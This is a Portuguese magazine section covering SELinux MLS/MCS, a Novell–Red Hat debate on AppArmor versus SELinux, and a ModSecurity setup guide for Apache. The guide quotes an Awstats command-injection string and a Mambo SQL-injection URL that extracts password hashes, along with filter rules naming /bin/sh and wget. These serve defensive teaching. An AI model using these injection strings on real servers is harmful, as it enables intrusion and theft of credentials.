Múltiplos níveisEmbora a segurança em multinível (Multi Level Security, ou MLS) seja uma das caracterís-ticas do design do núcleo do SELinux, ela foi marcada como experimental durante muitos meses. A política de referência é a primeira política MLS, e suporta o modelo Bell-La-Pa-dula, inventado em 1973 para ajudar a manter segredos militares. Basicamente, o mode-lo confere escopos e capacidades a pessoas, enquanto objetos têm escopo e ranking.

O modelo garante que um objeto dentro de seu próprio escopo somente pode ser lido por pessoas com capacidade idêntica ou superior ao ranking deste. Objetos somen-te podem ser escritos se a pessoa tiver um ranking idêntico ou menor que sua capa-cidade. Quando uma pessoa com ranking maior cria um arquivo, este só pode ser lido por pessoas de patente igual ou superior, para evitar que dados importantes caiam em mãos erradas. Para implementar o MLS, o contexto de segurança tem dois pa-râmetros adicionais: os níveis MLS de s0 a s15 e os valores MLS de c0 a c255.

Múltiplas categoriasJá que quase ninguém precisa de um design MLS (além das forças armadas e do serviço secreto, é claro), os desenvolvedores adicionaram o conceito de segurança multi-categoria (Multi-Category Security, ou MCS) a sua política de referência. Isso enfraquece a funcionali-dade MLS. Todos os objetos recebem o nível MLS s0. O administrador depois pode selecio-nar as categorias de outros objetos. Para reforçar os números e suas descrições intuitivas, os administradores podem até conferir nomes a essas categorias no arquivo setrans.conf:

s0:c0=Confidentials0:c1=Developments0:c2=HumanResources

Depois disso, o comando chcat entenderá tanto nomes quan-to categorias, e poderá associá-los a arquivos:

chcat -- +Confidential /tmp/file.txt

Enquanto o arquivo antes possuía o contexto de segurança root:object_r:tmp_t:, ele agora tem o root:object_r:tmp_t:Confidential. O comando chcat também pode associar um usuário a uma categoria. Cada arquivo que o usuário criar a partir desse ponto terá a cate-goria MCS desse usuário. Usuários sem categoria não têm permissão para acessar o arqui-vo. Enquanto essa função é semelhante às ACLs (listas de controle de acesso) Posix, o MCS terá mais possibilidades no futuro. Por exemplo, um sistema de impressão poderia enviar um aviso quando imprimisse um documento específico, dependendo da categoria, ou um cliente de email poderia se recusar a enviar documentos de uma determinada categoria.


41

| CAPASELinux


para a política de referência também suporta a geração direta de módulos (figura 2).

Se o Auditd não estiver rodando, o SELinux envia mensagens para /var/log/messages. O semodule -i local.pp então carrega e roda o novo módulo. Mudan-ças manuais ao arquivo te são possíveis e recomendadas; deve-se verificar cui-dadosamente os resultados.

MAC por MACAté o momento da escrita deste artigo, somente o administrador do sistema podia mudar e recarregar as políticas do SELinux. Enquanto essa foi a única abordagem suportada pela antiga tec-nologia monolítica, a nova política de referência, com sua estrutura modular, permite aos administradores dar dife-rentes atributos de acesso aos arquivos de módulos de política.

Até agora um processo com a capa-cidade de carregar uma política tam-bém tem a possibilidade de modificar toda a política. A estrutura modular agora suporta a nova abordagem, para a qual a Tresys Technology desenvol-veu um servidor de políticas SELinux. Além dos objetivos já mencionados, o servidor de políticas busca mais um: suportar novos objetos gerenciados por aplicativos do espaço do usuário, incluindo bancos de dados e suas ta-belas. O servidor de políticas suportará ainda uma infraestrutura melhorada para gerenciamento central de políti-cas em múltiplos sistemas.

A versão inicial de demonstração já suporta a idéia de políticas permitirem mudanças específicas a si mesmas. Os desenvolvedores introduziram o novo comando policycon, que aplica um con-texto de segurança a módulos individuais. Depois, é possível permitir que a sua própria política se mude sozinha. No-vamente o comando semodule gerencia isso, comunicando-se com o servidor de políticas no espaço do usuário.

Os programadores ainda advertem contra o uso de um servidor de políti-cas em ambientes de produção e, infe-lizmente, o ritmo de desenvolvimento anda bem lento.

DesenvolvimentoUma comunidade bastante impressio-nante de usuários e desenvolvedores se formou em torno do SELinux. O SE-Linux Symposium [7] acontece a cada

dois anos; em fevereiro deste ano hou-ve 29 palestras e cinco tutoriais sobre o SELinux, ao longo de três dias. Os slides das palestras estão disponíveis na página do simpósio.

O trabalho atual de desenvolvimento está concentrado em adicionar as plata-formas IPsec ao SELinux. Isso permitiria que o SELinux monitorasse o tráfego de dados na rede. Alguns desses desenvol-vimentos já foram incluídos no kernel 2.6.16 [10].

Sem insegurançaMuitos administradores se preocupam com a introdução de vulnerabilida-des pelo uso do SELinux. A enorme política, difícil de entender comple-tamente, é uma das responsáveis por essa sensação de incerteza. Contudo, um sistema MAC como o SELinux certamente melhora a segurança do seu sistema. E lembre-se, o SELinux não pode dar a um processo privilé-gios que este não teria sem um MAC. O SELinux não é o único responsá-vel por proibir ou permitir acessos; o DAC normal do Linux também tem que aprovar o tipo de acesso baseado em critérios mais antigos.

Esperamos que os desenvolvedores do SELinux continuem trabalhando duro para melhorar a usabilidade. Os desenvolvedores do SELinux já constru-íram as fundações para um sistema mais utilizável com maior modularização e o servidor de políticas. ■

Figura 3 A IDE SELinux, Slide, dá acesso à política de referência do SELinux. O Slide é implementado como um plugin para o Eclipse.

O autorRalf Spenneberg dá treinamentos em Unix/Li-nux como freelancer, é consultor e autor. Ralf já publicou diversos livros sobre os tópicos de de-tecção de intrusões e redes virtuais privadas (VPNs). Seu último livro, “Linux Firewalls with Ip-tables & Co”, foi publicado recentemente.

Mais Informações[1] Site da NSA sobre o SELinux:

http://www.nsa.gov/selinux/

[2] SELinux para distribuições: http://selinux.sourceforge.net

[3] Política de referência do SELinux: http://serefpolicy.sourceforge.net

[4] Tresys: http://www.tresys.com

[5] SLIDE: http://selinux-ide.sourceforge.net

[6] Servidor de políticas do SELinux: http://sepolicy-server.sourceforge.net

[7] SELinux Symposium: http://www.selinux-symposium.org

[8] Instalação do SLIDE: http://www.tresys.com/files/eclipse-update/

[9] Introdução ao MCS: http://james-morris.livejournal.com/8228.html

[10] SELinux para IPsec: http://marc.theaimsgroup.com/ ?l=linux-netdev&m=113234097011133&w=2



A Novell e a Red Hat estão travando um intenso combate para estabe-lecer seus respectivos produtos

como o melhor sistema de proteção para Linux. Enquanto a Red Hat adotou o SELinux anos atrás, a Novell apresen-tou seu sistema de proteção AppArmor depois de adquirir a Immunix. Ambos são licenciados sob a GPL, ambos visam tornar o Linux mais seguro e ambos dão ao administrador mais controle sobre os privilégios dos aplicativos.

A Linux Magazine deu a ambos os grupos uma chance para explicar suas motivações. Crispin Cowan, que veio do Immunix para a Novell, falará primeiro sobre quais são, em sua opinião, as van-tagens do AppArmor. Depois, Daniel Riek explicará por que a Red Hat investe no SELinux.

Crispin Cowan, NovellO AppArmor [1] e o SELinux [2] têm objetivos semelhantes de melhorar a segurança no Linux, mas diferentes nos detalhes. O AppArmor assegura aplicativos individuais contra defeitos latentes, e protege um sistema inteiro contra uma ameaça em particular, tal como ataques pela rede, protegendo todos os aplicativos que usam a rede. O SELinux, por sua vez, tenta con-trolar o sistema inteiro, incluindo a segurança de propriedades como o fluxo de informação, e por isso paga o preço da complexidade. Concluiu-se que a Política Estrita (Strict Policy) que o SELinux forneceu de início era estri-ta demais para ser utilizável, e então o

projeto mudou ativamente em direção ao modelo adotado pelo AppArmor com a política Targeted, que simula o modelo de controle de acesso por aplicativo do AppArmor.

Território familiarO AppArmor deixa os administradores confinarem os aplicativos em termos familiares: você especifica o aplicativo a ser confinado e os arquivos a serem acessados com caminhos absolutos, se-guidos dos modos de acesso familiares read e write. Grupos de arquivos podem ser referidos com os tradicionais coringas de shell, então /home/*/public_html/**.html r dá acesso de leitura a todos os ar-quivos .html no diretório public_html de todos os usuários.

Novell e Red Hat confrontam suas tecnologias

AppArmor × SELinux

Security Enhanced Linux ou AppArmor? A Linux Magazine convidou duas personalidades conhecidas da Red Hat e Novell para discutir os méritos de seus sistemas de segurança.por Achim Leitner

CA

PA


43

| CAPAComparativo


O SELinux aplica rótulos a arquivos e processos e define a política de segu-rança em termos de quais rótulos podem acessar quais outros rótulos. Controles de acesso rotulados são uma técnica estabelecida desde os anos 70, mas em geral os rótulos atrapalham a usabilidade significativamente:➧ Você precisa rotular o sistema de ar-

quivos e criar a política de segurança em duas etapas distintas, criando uma dependência circular para o usuário entre especificar os rótulos e especi-ficar a política.

➧ Alguns aplicativos como o tar não preservam rótulos, então dados ar-quivados e recuperados com esse aplicativo perderão seus rótulos.

➧ Sistemas de arquivos NFS montados não suportam rótulos, então todo o sistema de arquivos recebe um único rótulo. Portanto, todos os sistemas de arquivos da rede recebem uma decisão de política do tipo “tudo ou nada”: cada aplicativo ou pode acessar o sistema de arquivos inteiro, ou não acessa nada.A simplicidade é a alma da segurança:

quanto mais complexo um sistema, mais provável é que ele seja mal configurado. Pior ainda, se uma política de seguran-ça não pode ser compreendida, ela não é uma política de forma alguma; ela é uma caixa preta que você espera que forneça alguma proteção, mas você não tem certeza.

Bem mais simplesO AppArmor é consideravelmente mais simples de usar que o SELinux. Apesar de este julgamento ser subjetivo, ele pode ser verificado neste vídeo do Fosdem [3], no qual uma política para o Apache é escrita em cinco minutos pela platéia, e também no fato de que o perfil do AppArmor para

o Apache tem 133 linhas, enquanto a po-lítica correspondente no SELinux tem 826 linhas. Magnus Runesson relata ter conseguido portar o AppArmor para o Ubuntu Linux em menos tempo do que levou para entender e modificar uma política do SELinux.

Apesar da relativa simplicidade do AppArmor, ele também oferece proteção e segurança que o SELinux não consegue. O AppArmor oferece o confinamento de pedaços de um processo, algo que o SELinux só adicionou recentemente. Entretanto, o AppArmor também traz um módulo de Apache para usar essa propriedade, então os usuários podem criar perfis do AppArmor para tarefas pequenas como um script perl executado pelo mod_perl, ou até uma página PHP individual. Não conheço outra tecnolo-gia que consiga confinar páginas PHP individuais.

Mudar pra quê?O AppArmor faz isso tudo de forma com-pletamente transparente para o aplicativo. Nenhuma modificação é necessária para usar suas propriedades, exceto pelo con-finamento de subprocessos, que requer uma dose de cooperação do processo protegido. Essa cooperação pode ser alcançada usando um módulo inserido caso o aplicativo suporte módulos. Se o AppArmor for abruptamente apagado de um sistema em funcionamento, o sistema continuará funcionando da mesmíssima forma como funcionava com o AppArmor funcional, exceto pelo fato de que agora está mais vulnerável a ataques.

O SELinux só pode aplicar algumas de suas propriedades em aplicativos não modificados; o conjunto total das proprie-dades só será disponibilizado se o progra-ma for re-linkado à biblioteca libselinux,

o que é factível para aplicativos de código aberto, mas problemático para aplicativos proprietários de empresas.

AppArmor é melhorTanto o AppArmor quanto o SELinux oferecem segurança de alta qualidade. Mas o SELinux parece ter sido feito para atender aos desejos da NSA por políticas arbitrariamente complexas às custas da usabilidade. Usabilidade ruim é terrível, pois geralmente impede a aplicação da segurança, e o SELinux é freqüente-mente desabilitado quando os usuários acham as políticas difíceis demais de gerenciar. O AppArmor foi feito com a usabilidade em mente – para satisfazer a

Crispin Cowan “ Simplicidade é a alma da segurança... O SELinux parece ter sido feito para atender aos desejos da NSA por políticas arbitrariamente complexas, às custas da usabilidade... O AppArmor foi feito com vistas à usabilidade – para cumprir as exigências da maioria dos usuários Linux.”

Figura 1 Crispin Cowan, Arquiteto de Segurança da Novell.



CAPA | Comparativo

necessidade da maioria dos usuários de Linux, tanto domésticos quanto corpo-rativos. Tente você mesmo: o AppArmor está disponível para Slackware, Ubuntu, Gentoo, Red Hat, Pardus, e integrado a todas as novas edições do SUSELinux das arquiteturas x86, x86-64, Itanium, POWER e Z-series.

Daniel Riek, Red HatO SELinux aplica controles de acesso estritos baseados em MAC no nível do kernel (veja o artigo sobre SELinux). Ele reduz o impacto de ataques, garante a confidencialidade dos dados, e satisfaz exigências complexas de segurança, gra-ças às mudanças de domínio dependentes de contexto.

A primeira empresa a anunciar o suporte ao SELinux como um produto comercial foi a Novell, embora isso não

tenha significado que o serviço estivesse pronto para uso em produção. Na época, a política ainda não estava adequada para um mercado amplo: estrita demais, mui-tas restrições para aplicativos de usuário, e certamente um pouco exagerada. Foi a Red Hat que lançou o primeiro produto maduro e pronto para produção. Todas as instalações do Red Hat Enterprise Linux 4, e também as do Fedora, ativam o SELinux para os serviços centrais de rede por padrão.

Comunidade globalO SELinux é suportado por uma grande comunidade ativa, que inclui usuários não comerciais assim como fornecedores tais como Red Hat, IBM, HP, NSA, DOD (o departamento de defesa dos EUA), Tresys e Trusted Computing Systems. Todas es-sas organizações colaboram na melhoria

das políticas, desenvolvendo assim uma poderosa plataforma de auditoria para ferramentas de desenvolvimento de po-líticas [4], além de oferecerem suporte a problemas e aconselhar usuários.

Apesar disso, a Novell desistiu do SELinux no ano passado e começou a promover o AppArmor, adquirido re-centemente da Immunix, como uma alternativa mais simples. Em vez de investir numa colaboração dentro da comunidade de código aberto e ajudar a tornar o SELinux mais fácil de usar, a Novell decidiu fazer um fork da arquite-tura de segurança no Linux, e deixar os desenvolvedores e usuários com toda a responsabilidade da escolha. Essa abor-dagem até mesmo lembrou Dan Walsh, chefe do desenvolvimento do SELinux na Red Hat, e outros, das antigas questões com o Unix [5].

A FAQ do AppArmor diz o seguinte sobre segurança: “Usando a interface gráfica YaST, é fácil um usuário iniciante desenvolver perfis de segurança, enquanto os mais experientes mantêm a flexibilida-de de que precisam para criar perfis bem ajustados.” Mas você quer que os dados do seu cartão de crédito fiquem guarda-dos num servidor cuja política de segu-rança tenha sido criada por um novato usando o YaST e o AppArmor em modo de reclamação? A Red Hat, ao contrário, concentra-se no uso corporativo. Vende-dores de software oferecem políticas do SELinux verificadas que os consumido-res configuram dentro da plataforma de parâmetros validados.

Faz maisÉ claro que o AppArmor é mais fácil de configurar, pois ataca um grupo bem me-nor de problemas de segurança. A FAQ até informa que o AppArmor não garante a confidencialidade dos dados, diferente-mente do SELinux, alegando ainda que

Daniel Riek “ ...você realmente quer armazenar os dados do seu cartão de crédito num servidor cujas políticas de segurança foram criadas por um novato usando o YaST e o AppArmor em modo de reclamação?”

Figura 2 Daniel Riek, Gerente de Produtos da Red Hat.


45

| CAPAComparativo


essa característica só é útil para o serviço secreto. Nada se diz sobre dados de cartão de crédito, de clientes, registros médicos, dados de contas, Basel II ou conformi-dade com Sabranes-Oxley...

E a alegação de que você precisa recompilar seus aplicativos para usar o SELinux é traiçoeira. Com o SELinux, o contexto de segurança após iniciar um novo processo depende de quem iniciou o processo e em que contexto. Não existe qualquer necessidade de mudar o aplica-tivo para que ele faça isso, e os contextos de segurança são claramente definidos. Somente poucos programas requerem modificações.

As restrições do AppArmor a subpro-cessos permitem que o usuário execute, por exemplo, scripts PHP via mod_php num contexto diferente daquele do próprio Apache, apesar de ambos rodarem dentro do mesmo processo. A FAQ menciona que isso só é possível com uma versão especial do Apache modificada pela Novell. Em outras palavras, o AppAr-mor também precisa de recompilação de tempos em tempos.

O desenho do AppArmor possui gran-des desvantagens: não faz nada para im-pedir que código malicioso injetado no contexto do PHP por um atacante rode mais tarde no contexto do Apache. Afinal, eles utilizam o mesmo setor de memória. Um código afetado por um exploit não pode oferecer segurança! Portanto, esse cenário permitirá o ganho de privilégios – isso é uma falha, não um recurso.

Rótulos x caminhosA situação com o argumento do sistema de arquivos é semelhante: o SELinux utiliza rótulos de segurança, que ficam armazenados como atributos estendidos de objetos do sistema de arquivos. A No-vell enxerga isso como uma extensão que só é suportada por sistemas de arquivo específicos. Na realidade, os atributos estendidos são uma característica padrão que só uns poucos sistemas de arquivos não possuem, e então esse é mais um argumento contra o preferido da Novell, o Reiser FS.

O AppArmor utiliza caminhos de ar-quivos em seus perfis, mas não garante a segurança. Enquanto os rótulos de segu-rança ligados a inodes no SELinux referem-se a objetos reais do sistema de arquivos, os caminhos de arquivos do AppArmor utilizam uma camada de abstração que não necessariamente reflete o sistema de arquivos real. Links simbólicos são um

exemplo das questões multifacetadas. Um objeto pode usar múltiplos caminhos de arquivos e dessa forma ser governado por diferentes políticas. A questão é se isso ainda pode ser considerado Controle Mandatório de Acesso.

Questão de flexibilidadeFinalmente, a alegação de que o AppAr-mor é mais flexível que o SELinux não é baseada em provas factuais. É verdade que uma configuração do AppArmor pode ser modificada mais rapidamente, pois define um sistema menos seguro. Porém, isso nada tem a ver com flexibilidade. Pelo contrário, o desenho unidimensional de perfis não oferece o mesmo nível de segurança e flexibilidade que as mudan-ças dinâmicas de contexto de segurança do SELinux permitem. Um programa pode rodar com privilégios diferentes, dependendo de quem o executar e em que contexto. Isso permite perfis de se-gurança extremamente flexíveis.

A arquitetura do SELinux também é apropriada para exigências de segurança além de MAC. E as implementações de MLS e MCS oferecem muitas provas de que o desenho do SELinux funciona (veja o artigo sobre o SELinux). Ambas arma-zenam atributos como atributos extendi-dos do sistema de arquivos, e portanto suportam integração rápida e simples com a política do SELinux.

SELinux é melhorO SELinux é a implementação mais consistente de Controle Mandatório de Acesso em produtos padrão atualmente. Ele vem de uma compreensão fundamen-tal a respeito da forma como funcionam ataques a sistemas de TI, e também da história das questões de segurança em TI. Dito isso, os crackers sempre estão um passo à frente na corrida pelo próximo grande exploit. A arquitetura precisa levar isso em conta e garantir que até uma invasão com êxito não cause sérios problemas.

A escolha entre o SELinux e o AppAr-mor é entre uma forte arquitetura de segurança e uma melhora local de segu-rança. As exigências de segurança típicas feitas pelos usuários do Red Hat Enter-prise Linux só são realmente satisfeitas pelo complexo SELinux. ■

Crispin CowanCrispin Cowan foi CTO e fundador da Immunix Inc., recentemente adquirida pela Novell. O Dr. Cowan agora trabalha como arquiteto para a Novell em relação a segurança para a plataforma Linux e aplicativos que a Novell oferece para esse sistema operacional, e com atenção parti-cular ao produto AppArmor que veio com a aquisição da Immunix. O Dr. Cowan desenvolveu diversas tecnologias de segurança de máquinas, incluindo o StackGuard, uma defesa contra estouros de buffer para o compilador, e a interface LSM (Linux Security Modules) do Linux 2.6.

O Dr. Cowan também co-inventou o método “time-to-patch” de averiguar se é segu-ro aplicar um patch de segurança. Antes de fundar a Immunix, ele foi professor do Ore-gon Graduate Institute Department of Computer Science and Engineering. É Ph.D. pela University of Western Ontario e mestre em matemática pela University of Waterloo.

Daniel RiekDaniel Riek é gerente de produtos do Red Hat Enterprise Linux desde o início de 2006. Ele entrou na empresa no meio de 2003. Antes de mudar para o desenvolvimento de produtos, Riek foi arquiteto de soluções e forneceu serviços de aconselhamento pré-vendas a clientes.

Riek fundou a ID-PRO, um provedor de Internet e serviços em GNU/Linux, enquanto es-tudava Ciência da Computação na Universidade de Bonn, Alemanha; e a empresa cres-ceu até tornar-se um player internacional. Em 2001, Riek mudou-se da ID-PRO para o provedor de serviços em software livre francês Alcove, onde era o responsável pelas ati-vidades na Alemanha e lidava com contas especiais e bancos. Riek foi membro da di-retoria da LIVE Linux Association por muitos anos, e também relações públicas.

Mais Informações[1] AppArmor:

http://www.opensuse.org/AppArmor

[2] SELinux: http://www.nsa.gov/selinux/

[3] Vídeo do AppArmor: ftp://ftp.belnet.be/pub/mirror/FOSDEM/FOSDEM2006-apparmor.avi

[4] Desenvolvimento de políticas do SELinux:http://selinuxnews.org

[5] Entrevista com Dan Walsh: http://danwalsh.livejournal.com/ 424.html



A principal tarefa da maioria dos servidores web é servir conteúdo dinâmico gerado por scripts de

uma forma confiável e segura. A inte-ração entre visitantes e o aplicativo web abre um vetor de ataque, permitindo que hackers malévolos comprometam o aplicativo e realizem tarefas que os desenvolvedores e webmasters nunca imaginaram. O potencial de estragos é enorme, variando da revelação de con-teúdo protegido até o completo compro-misso do superusuário.

Aplicativos web programados de forma clara fornecem uma aborda-gem importante para a prevenção desse tipo de abuso, mas isso é atin-gido com muito esforço. Mesmo os programadores mais experientes po-dem eventualmente entrar numa fria,

pois as vulnerabilidades dos aplicati-vos web, já estabelecidos sempre se fazem presentes.

O módulo ModSecurity [1] do Apa-che fornece validação e maior proteção (figura 1). O módulo é basicamente um firewall para aplicativos web, disponí-vel tanto como um módulo do Apache quanto como um aplicativo indepen-dente (GPL). O módulo valida pedidos que chegam antes de encaminhá-los aos scripts apropriados, baseado nas regras especificadas no conjunto de regras. Assim como os arquivos de pa-drões usados por vírus, as regras con-sistem de assinaturas de técnicas de ataque típicas.

Se um pedido corresponder a al-guma das assinaturas armazenadas, os mecanismos especificados pelas re-gras de ação são efetivados. Isso pode incluir o bloqueio do pedido ou seu encaminhamento para outra página web. O módulo fornece uma proteção efetiva contra ataques como injeção de comandos do sistema operacional (OS Command Injection), scripts cruzados (XSS ou Cross-Site Scripting) e injeção SQL (SQL Injection).

Os perigos do UnicodeO padrão Unicode fornece um conjunto unificado e internacional de caracteres. O antiquado conjunto de caracteres AS-CII utiliza somente sete ou oito bits para codificar cada caractere, o que restringe o número de caracteres a 128 ou 256, res-pectivamente, sendo que alguns desses

Mais segurança para o Apache

Cão de guardaO módulo ModSecurity fornece grande proteção ao servidor web Apache. Aprenda a configurar suas regras para garantir a segurança sem desperdiçar desempenho.por Hannes Kasparick

Exemplo 1: Regras de teste01 #SecFilterEngine On02 #SecFilterSignatureAction log,deny,status:50003 #SecFilter /bin/sh

➥ "id:1001,rev:2,severity:2,msg:'/bin/sh attack attempt'"04 ## Regra para a versão 1.8:05 ## SecFilter /bin/sh

Figura 1 O ModSecurity fica à frente do servidor web e seus aplicativos, protegendo ambos de ataques externos.

CA

PA


47

| CAPAModSecurity


caracteres são usados para controle. De-pendendo da versão, o Unicode usa até 32 bits (quatro bytes) para codificar cada caractere. Isto significa que o Unicode consegue mostrar runas e hieroglifos sem problemas.

Por outro lado, a técnica de reescre-ver códigos que exploram vulnerabili-dades (os famosos exploits) no Unicode já ajudou invasores a atravessar siste-mas de detecção de intrusão (IDS) no passado. Por exemplo, o caractere / é representado como &#47 no Unicode, e esse tipo de mascaramento pode atra-palhar a detecção por parte do IDS. O ModSecurity descriptografa caracteres Unicode quando a chave SecFilterChe-ckUnicodeEncoding está ligada (On), dando aos filtros posteriores a capacidade de detectar possíveis exploits.

O perigo vem de foraO principal perigo para servidores web, e portanto a maior preocupação dos administradores, é com relação à injeção de comandos do sistema ope-racional, pois tais ataques executam comandos do sistema no contexto do servidor web. Em janeiro de 2005, por exemplo, descobriu-se que a ferramen-ta de estatística da web Awstats inad-vertidamente permitia que usuários executassem comandos arbitrários. A cadeia awstats.pl?configdir=|echo;echo;ls%20-la%20%2F;id;echo;echo execu-taria o comando ls -la no servidor web Apache.

Dar a um invasor a possibilidade de ler informações confidenciais ar-mazenadas no servidor web pode ser igualmente perigoso. O exploit que visava a popular ferramenta de controle de conteúdo (CMS) Mambo, que foi divulgado em junho de 2005, passa co-mandos SQL através da URL, e assim faz o aplicativo web servir uma lista de todos os hashes de senhas de usuários [7]. Um atacante poderia então usar a lista para descobrir as senhas dos usu-ários, possivelmente usando tabelas Rainbow (tabelas hash pré-calculadas). A seguinte URL revela as senhas:

http://server/mambo/index.php?➥option=com_content&task=vote&id=➥%d&Itemid=%d&cid=1&user_rating=1,➥rating_count=(SELECT/**/if((ascii➥(substring((SELECT/**/password/**/➥FROM/**/mos_users/**/WHERE/**/id=%d)➥,%d,1)))%s,1145711457,0))[...]

O comando SQL embutido nes-sa longa cadeia de caracteres é: SELECT FROM mos_user WHERE id=User-ID. A regra do ModSecurity SecFilterSelective ARGS “select.+from” impede esse ataque sim-plesmente detectando as palavras select e from como características de ataque, e então o ataque falha (figura 2). O supos-

to ataque então retorna simplesmente uma mensagem de erro 403 do Apache: Acesso proibido.

Ataques de scripts cruzados já são um perigo maior para usuários normais da Internet. Scripts cruzados envolvem uma tentativa do atacante de executar scripts mal intencionados na máqui-na da vítima para acessar seus cookies, por exemplo. Assim, faz sentido filtrar comandos <script> de pedidos GET e POST. Como o desenvolvimento vem progredindo rapidamente, administradores que plenejem usar o ModSecurity devem saber que precisam verificar a página do autor do ModSecurity em [1]. Esse é o lugar para se pesquisar atualizações ao projeto de conjuntos de regras do Mo-dSecurity (ModSecurity Rule Sets) [2], por exemplo.

Pacotes binários prontos para ser ro-dados estão disponíveis para a maioria das distribuições. Usuários de Debian podem usar o comando aptitude install

Tabela 1: Identificadores de regrasFaixa de IDs Uso dos IDs

0-99.999 Local – para suas próprias regras

100.000-199.999 Reservado para o ModSecurity

200.000-299.999 Reservado para regras publicadas em www.ModSecurity.org

300.000– Não atribuído

Exemplo 2: Configuração básica01 ## Ativar o ModSecurity02 #SecFilterEngine On03 ## Registrar pedidos errados e negar o acesso04 #SecFilterDefaultAction “deny,log,status:403”05 ## Registrar somente os erros06 ## SecFilterDefaultAction “pass,log”07 #08 ## Verificar os dados do POST09 #SecFilterScanPOST On10 #11 ## Verificar a codificação da URL12 #SecFilterCheckURLEncoding On13 #14 ## Verificar a codificação Unicode15 #SecFilterCheckUnicodeEncoding On16 #17 ## Aceitar somente caracteresa ASCII de 1 a 25518 #SecFilterForceByteRange 1 25519 #20 ## Reduzir ao máximo a assinatura do servidor21 #SecServerSignature “Apache”22 #23 ## Registrar somente dados relevantes24 #SecAuditEngine RelevantOnly25 #SecAuditLog /var/log/apache2/audit_log26 #27 ## Não aceitar pedidos de GET e REQUEST no corpo28 #SecFilterSelective REQUEST_METHOD “^(GET|HEAD)$” chain29 #SecFilterSelective HTTP_Content-Length “!^$”30 #31 ## Comprimento do conteúdo deve ser enviado com cada pedido POST request32 #SecFilterSelective REQUEST_METHOD “^POST$” chain33 #SecFilterSelective HTTP_Content-Length “^$”34 #35 ## Descartar codificações de transferência desconhecidas, com exceção do GET,36 ## pois isso pode causar problemas com alguns clientes37 #SecFilterSelective REQUEST_METHOD “!^(GET|HEAD)$” chain38 #SecFilterSelective HTTP_Content-Type \39 #”!(^application/x-www-form-urlencoded$|^multipart/form-data;)”40 #SecFilterSelective HTTP_Transfer-Encoding “!^$”



CAPA | ModSecurity

libapache2-mod-security para instalar o pacote em seus discos; já os usuários de FreeBSD usam um pkg_add -r mod_security para a mesma tarefa. Depois de terminar a instalação, execute um a2enmod mod-se-curity no Debian para carregar o módulo; o FreeBSD faz isso sozinho. Este artigo é baseado no ModSecurity 1.9.2, apesar de a popular versão 1.8.7 já oferecer a maioria dos recursos citados aqui.

Primeira tentativaA entrada [Fri Feb 24 11:55:12 2006] [notice] mod_security/1.9.2 configured no error.log do meu Apache diz que o módulo foi instalado com sucesso; a se-gunda define ações, e a terceira verifica o conteúdo em busca de palavras que sigam (no caso, /bin/sh). Para manter tudo inteligível, faz sentido armazenar conjuntos de regras em arquivos sepa-rados e usar o include path to file para uni-los ao seu apache2.conf.

Os parâmetros extendidos na diretiva SecFilter são novos na versão 1.9, por-tanto não suportados pela versão 1.8. Se você estiver usando a versão mais velha, também precisará substituir a diretiva SecFilterSignatureAction por SecFilter-DefaultAction.

Chamar a URL http://Hostname/index.php?a=/bin/sh num navegador web verifica a regra de teste. Se a regra funcionar, o módulo bloqueará o acesso e mostrará uma mensagem de Erro Interno do Sis-tema. O arquivo error.log deve conter a seguinte entrada:

[Fri Feb 24 14:25:12 2006] [error]➥ [client 192.168.0.1] mod_security:➥ Access denied with code 500.➥ Pattern match "/bin/sh" at REQUEST_URI➥ [id "1001"] [rev "2"]➥ [msg "/bin/sh attackattempt"]➥ [severity "2"] [hostname "192.168.0.20"]➥ [uri"/modsec/index.php?a=/bin/sh"]

Para facilitar o uso de scripts para ava-liar os arquivos de log mais tarde, cada

regra deve ter um ID único. A tabela 1 mos-tra os espaços de nomes reservados.

Registro de coordenadasA forma mais prática de registrar logs simples-mente grava entradas no arquivo error.log do

Apache, embora isso torne a análise mais difícil depois. Alternativamente, você tal-vez queira considerar um registro mais profundo, o audit logging (figura 3). A opção New Audit Log Type foi criada na versão 1.9. Entre outras coisas, ela suporta o registro de múltiplos eventos em arquivos de log separados, embora não necessite que você ative o módulo do Apache mod_unique_id.

Além disso, a versão 1.9 e as mais re-centes suportam o estilo Guardian de log, ou seja, podem passar os dados dos logs para o HTTP Guardian [3], que por sua vez controla firewalls baseados em filtros, como o IPtables, assim como o controla-dor de IDS Snortsam [4]. Por padrão, o HTTP Guardian bloqueia clientes que mandam mais de 120 pedidos de conexão por minuto, ou mais de 360 pedidos em cinco minutos. O programa ainda está em estágio de desenvolvimento, mas fun-ciona bem e é bem documentado.

Configuração BásicaUsaremos a configuração básica do exem-

plo 2 como ponto de partida para algu-mas customizações. Na página oficial do projeto há uma configuração seme-lhante a essa. Se você pretende testar o conjunto de regras numa máquina de produção, faz sentido registrar infrações potenciais somente durante a fase de teste, para evitar o bloqueio de pedidos legítimos. Podemos usar para tal a en-trada SecFilterDefaultAction, usando o parâmetro pass,log.

Em vez de retornar uma mensagem de erro 403 quando a regra for quebrada, o ModSecurity também mostrará o pe-dido problemático a todos os endereços ou sítios usando uma entrada como Se-cFilterDefaultAction “deny,log,redirect:http://targetpage.com”. Os filtros ajudam a definir os critérios de busca que o Mod-Security aplica a pedidos HTTP.

Os filtros sempre seguem o padrão de SecFilter SearchCriterion e, na versão

1.9, o módulo tem alguns parâmetros de log adicionais. O ModSecurity distingue entre três métodos de filtragem: simples (SecFilter wget), seletiva (SecFilterSe-lective ARGS “union.+select”) e saída (SecFilterSelective OUTPUT “Fatal error:” deny,status:500).

Um filtro simples sempre investigará o pedido HTTP inteiro, enquanto um filtro seletivo somente investiga partes específicas do pedido. Filtros de saída varrem o conte-údo servido pelo servidor web, impedindo assim que seja exibido, caso necessário. Um ponto de exclamação (!) inverte a regra do filtro. Por exemplo, a regra SecFilter !html é aplicada a todos os pedidos que não contenham a palavra html.

FiltrosA forma mais simples de política de filtro é a SecFilter SearchPattern. Ela faz o Mod-Security olhar todos os pedidos GET e POST em busca de padrões que ativem as ações especificadas pela política padrão. As chaves de busca podem ser expressões simples ou regulares. As regras de filtro não são aplicadas diretamente ao pedi-do, e sim a uma cópia normalizada. Em outras palavras, caracteres com codifica-ções especiais (Unicode) (veja Os perigos

do Unicode) são decodificados primeiro, e todos os escapes (caracteres /) desne-cessários são resolvidos. Os ataques de byte nulo visando vulnerabilidades em aplicativos para servidores escritos em C ou C++ ficam protegidos pelo filtro SecFilter hidden.

